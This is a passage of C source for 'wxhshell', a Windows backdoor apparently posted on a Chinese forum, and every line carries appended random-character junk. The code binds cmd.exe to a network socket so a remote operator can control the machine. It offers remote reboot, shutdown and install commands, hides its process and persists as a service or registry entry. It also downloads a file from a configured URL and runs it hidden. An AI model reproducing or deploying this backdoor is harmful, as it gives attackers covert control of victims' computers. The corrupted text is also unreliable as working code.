  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5$.e5y<&(  
  } }Uc)iNU  
  else { SWrP0Qjc  
j`A3N7;  
    switch(cmd[0]) { -"Hy%wE  
  xgV(0H}Mf  
  // 帮助 0.}WZAYy~  
  case '?': { ygn]f*;?kw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QKt[Kte  
    break; EvQMt0[?EW  
  } Nn]|#lLP  
  // 安装 <W<>=vDzyE  
  case 'i': { 9C2DW,?  
    if(Install()) k-N` h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|53|H  
    else xvx+a0 A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / >q?H)6  
    break; 1so9w89  
    } W|e$@u9  
  // 卸载 6o4Bf| E]  
  case 'r': { 5h6c W  
    if(Uninstall()) y-i6StJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/(f?M l  
    else >wOqV!0<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e qzmEg  
    break; OX!<{9o  
    } =2rkaBFC  
  // 显示 wxhshell 所在路径 1?}5.*j<  
  case 'p': { u|}p3-z|Y  
    char svExeFile[MAX_PATH]; RC>79e/u<  
    strcpy(svExeFile,"\n\r"); G&2`c\u{  
      strcat(svExeFile,ExeFile); -SGo E=  
        send(wsh,svExeFile,strlen(svExeFile),0); o,yP9~8\  
    break; 1o*eu&@  
    } h~R= ?%H[  
  // 重启 pX~X{JTaL)  
  case 'b': { M~jV"OF=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %SHgXd#X  
    if(Boot(REBOOT)) v62M8r,Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dNg5#?mzT5  
    else { O h{ >xg  
    closesocket(wsh); VQ,;~^Td  
    ExitThread(0); 8n1<nS<  
    } DN%b!K:  
    break; pni*#W*n  
    } @W+m;4HH  
  // 关机 7j22KQ|EX^  
  case 'd': { gfY1:0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BhcTPQsW  
    if(Boot(SHUTDOWN)) P^Tk4_,0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{?ogFfi  
    else { %{*A@jQsg  
    closesocket(wsh); -m"9v%>Y  
    ExitThread(0); 2:4:Q[{A  
    } JsZLBq*lP  
    break; 9\J.AAk~/  
    } <<5x"W(,  
  // 获取shell k=D}i\F8  
  case 's': { ~As/cd>9  
    CmdShell(wsh); &oXN*$/dlJ  
    closesocket(wsh);  a\@k5?  
    ExitThread(0); J+o6*t2|  
    break; x $@Gp  
  } ys~oJb~  
  // 退出  ZFH;  
  case 'x': { Qf:#{~/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9iy3 dy^  
    CloseIt(wsh); Q`{2 yU:r  
    break; c ?(X(FQ  
    } 2iV/?.<Z&  
  // 离开 b\9MM  
  case 'q': { o NqIrYH'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]?3-;D.eG  
    closesocket(wsh); J'H}e F`  
    WSACleanup(); n&N>$c,T27  
    exit(1); !x@3U^${  
    break; V[RsSZx =  
        } dtDT^~  
  } u>y/<9]q8  
  } 1>IA9]D7  
z3mo2e  
  // 提示信息 S+* g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZK p9k6  
} T5gL  
  } EjDr   
qQ T ^d  
  return; E# UAC2Q  
} 8[\ ~}Q6  
^|j @' @L  
// shell模块句柄 *<"#1H/q  
int CmdShell(SOCKET sock) GJo`9  
{ oT}-i [=}  
STARTUPINFO si; La 9:qpj  
ZeroMemory(&si,sizeof(si)); W0qn$H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >5c38D7k)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z1vSt[s  
PROCESS_INFORMATION ProcessInfo; )r|Pm-:A{  
char cmdline[]="cmd"; cf{rK`Ff^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IQNvhl.{  
  return 0; cI/Puh^3  
} r' E|6_0  
mi& mQQ  
// 自身启动模式 f~ -qjEWm  
int StartFromService(void) .;,` bH0  
{ g* DBW,  
typedef struct N`xXH  
{ 746['sf4c  
  DWORD ExitStatus; tYST&5Kh~  
  DWORD PebBaseAddress; |Zm'!-_  
  DWORD AffinityMask; JuM4Njz|  
  DWORD BasePriority; O;C C(  
  ULONG UniqueProcessId; 1}XESAX;0  
  ULONG InheritedFromUniqueProcessId; <C{uodFll  
}   PROCESS_BASIC_INFORMATION; dR@XwEpP  
bb}$7v`G  
PROCNTQSIP NtQueryInformationProcess; 7:$zSj# y  
&++tp5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FL?Ndy"I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h4geoC_W2  
G+V?c1Me  
  HANDLE             hProcess; :211T&B%A_  
  PROCESS_BASIC_INFORMATION pbi;  5JggU  
<F6LC_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j3&tXZ;F  
  if(NULL == hInst ) return 0; ~;D5j) 9I  
}]!?t~5*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); & T&>4I!'M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8Luw< Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,WgEl4  
qx2M"uFJ  
  if (!NtQueryInformationProcess) return 0; R Y ";SfYb  
6 ~.{~+Bd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B82SAV/O  
  if(!hProcess) return 0; 9~ r YLR(v  
8L _]_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,cCBAO ueO  
)FSa]1t;x  
  CloseHandle(hProcess); DC+l3N  
LnlDCbF;!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HBiUp$(mB  
if(hProcess==NULL) return 0; nz_1Fu>g|  
>(BAIjF E\  
HMODULE hMod; 0jmPj   
char procName[255]; (!"&c* <  
unsigned long cbNeeded; IEeh9:Km  
u1) #^?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uB>OS 1=  
J[{?Y'RUM  
  CloseHandle(hProcess); c#<p44>U  
<&MY/vV  
if(strstr(procName,"services")) return 1; // 以服务启动 F*J@OY8i  
,]H2F']4Z  
  return 0; // 注册表启动 8/BWe ;4  
} D5$| vv1  
'Fr"96C$  
// 主模块 h;JO"J@H  
int StartWxhshell(LPSTR lpCmdLine) zya2 O?s  
{ -4LckY=]1  
  SOCKET wsl; " gQJeMU  
BOOL val=TRUE; cTu"Tu\Qw  
  int port=0; wNQhg  
  struct sockaddr_in door; 2e| m3  
X3Yi|dyn T  
  if(wscfg.ws_autoins) Install(); ~tB#Q6`nB  
~d"9?K^#  
port=atoi(lpCmdLine); kmur={IR  
H tAO9  
if(port<=0) port=wscfg.ws_port; "[`/J?W  
2!Sl!x+i\'  
  WSADATA data; .Hm1ispq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (K`@OwD  
K(75)/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |$G|M=*LN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =l+~}/7'Z  
  door.sin_family = AF_INET; D0VbD" y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6`V~cVu  
  door.sin_port = htons(port); d$#DXLA\P  
g\Akf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SK t&BnW  
closesocket(wsl); vNSeNS@jxC  
return 1; E:ti]$$  
} Ck>{7 Gw  
_ 0h)O  
  if(listen(wsl,2) == INVALID_SOCKET) { L.Tu7+M4  
closesocket(wsl); c$b~? Mx  
return 1; %[WOQ.Sh  
} Y0xn}:%K  
  Wxhshell(wsl); kX "*kD  
  WSACleanup(); fp?cb2'7  
{vox x&UX  
return 0; O%*:fd,o-  
 Vl`!6.F3  
} \kEC|O)8  
LtVIvZie  
// 以NT服务方式启动 )JXy>q#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~=k?ea/>  
{ q"$C)o  
DWORD   status = 0; xM2UwTpW  
  DWORD   specificError = 0xfffffff; (g3@3.Kk)  
5j>olz=n}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /33m6+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }II)<g'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SmCtwcB1  
  serviceStatus.dwWin32ExitCode     = 0; gtRVXgI  
  serviceStatus.dwServiceSpecificExitCode = 0; sM6o(=>  
  serviceStatus.dwCheckPoint       = 0; ,u^%[ejH  
  serviceStatus.dwWaitHint       = 0; ufvjW]   
!eA6Ejf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?L+|b5RS  
  if (hServiceStatusHandle==0) return; <m0m8p"G  
> K s.  
status = GetLastError(); b:(t22m#?  
  if (status!=NO_ERROR) ^F g!.X_  
{ `9mc+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7_CX6:  
    serviceStatus.dwCheckPoint       = 0; /amWf^z  
    serviceStatus.dwWaitHint       = 0; V#TNv0&0  
    serviceStatus.dwWin32ExitCode     = status; Z7J4r TA  
    serviceStatus.dwServiceSpecificExitCode = specificError; q$7/X;A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pIl[)%F  
    return; ]6@6g>f?  
  } a3c43!J?M  
\e' oAhM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8/ zv3.+[  
  serviceStatus.dwCheckPoint       = 0; Uc( z|  
  serviceStatus.dwWaitHint       = 0; sOhKMz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y{g[LG`U  
} J!d=aGY0-  
9T%b#~?3P  
// 处理NT服务事件,比如:启动、停止 d5#z\E??  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 04#<qd&ob@  
{ Tl L\&n.$  
switch(fdwControl) j|%>NB ):  
{ 3,)[Q?nKD  
case SERVICE_CONTROL_STOP: *QA{xvT  
  serviceStatus.dwWin32ExitCode = 0; 9{CajtN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ib2n Bg>j  
  serviceStatus.dwCheckPoint   = 0; ;"JgNad  
  serviceStatus.dwWaitHint     = 0; VfkQc$/  
  { L7nW_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BE)&.}l  
  } MN[D)RKh;  
  return;  & {=}U  
case SERVICE_CONTROL_PAUSE: [7h/ 2La#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l`r O)7  
  break; Yd]  
case SERVICE_CONTROL_CONTINUE: a^7QHYJ6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b]g#mQ  
  break; ccwz:7r  
case SERVICE_CONTROL_INTERROGATE: g4&f2D5  
  break; FXh*!%"*  
}; SS!b`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <[' ucp  
} He1~27+99  
F0ylJ /E  
// 标准应用程序主函数 hq?F8 1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZwM d 22  
{ 3u/ GrsF  
N*SUA4bnuM  
// 获取操作系统版本 @`XbM7D 5  
OsIsNt=GetOsVer(); EAV6qW\r5]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Ou<-EQV  
g1I8_!}~  
  // 从命令行安装 ~T!D:2G  
  if(strpbrk(lpCmdLine,"iI")) Install(); @T] G5|\ok  
S2:G#%EAa  
  // 下载执行文件 ~toR)=Yv  
if(wscfg.ws_downexe) { iz3Hoj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C=(~[Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ";TqYk=-  
} k,LaFe`W  
7ea%mg\  
if(!OsIsNt) { &(h@]F!  
// 如果时win9x,隐藏进程并且设置为注册表启动 L~*nI d  
HideProc(); T@mYHKu  
StartWxhshell(lpCmdLine); Mo]aB:a  
} >%A~ :  
else y(X^wC  
  if(StartFromService()) J3hhh(  
  // 以服务方式启动 V$bq|r  
  StartServiceCtrlDispatcher(DispatchTable); u3\_![Jt?  
else ?f:ND1jU  
  // 普通方式启动 J|C CTXT  
  StartWxhshell(lpCmdLine); 3{M0iNc1  
IwR=@Ne8  
return 0; B$MHn?  
}
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只看该作者 1 发表于: 2006-10-10
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